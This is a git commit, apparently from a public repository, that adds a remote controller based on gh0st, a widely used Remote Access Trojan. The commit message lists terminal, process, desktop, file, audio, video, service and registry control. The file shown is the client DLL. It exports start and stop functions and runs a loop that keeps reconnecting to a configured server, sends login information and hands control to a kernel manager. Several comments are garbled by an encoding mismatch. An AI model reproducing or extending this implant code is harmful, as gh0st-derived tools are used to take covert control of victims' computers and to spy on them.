基于gh0st的远程控制器

实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
yuanyuanxiang
2019-01-05 20:21:43 +08:00
parent 3a66916242
commit 27fcb6284e
136 changed files with 33399 additions and 0 deletions

93
client/ClientDll.cpp Normal file
View File

@@ -0,0 +1,93 @@
// ClientDll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "Common.h"
#include "IOCPClient.h"
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
using namespace std;
char g_szServerIP[MAX_PATH] = {0};
unsigned short g_uPort = 0;
bool g_bExit = false;
bool g_bThreadExit = false;
HINSTANCE g_hInstance = NULL;
DWORD WINAPI StartClient(LPVOID lParam);
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{
g_hInstance = (HINSTANCE)hInstance;
break;
}
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
CloseHandle(hThread);
}
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
DWORD WINAPI StartClient(LPVOID lParam)
{
IOCPClient *ClientObject = new IOCPClient();
while (!g_bExit)
{
DWORD dwTickCount = GetTickCount();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
continue;
}
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
CKernelManager Manager(ClientObject);
bool bIsRun = 0;
do
{
Sleep(200);
bIsRun = ClientObject->IsRunning();
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
}
cout<<"StartClient end\n";
delete ClientObject;
g_bThreadExit = true;
return 0;
}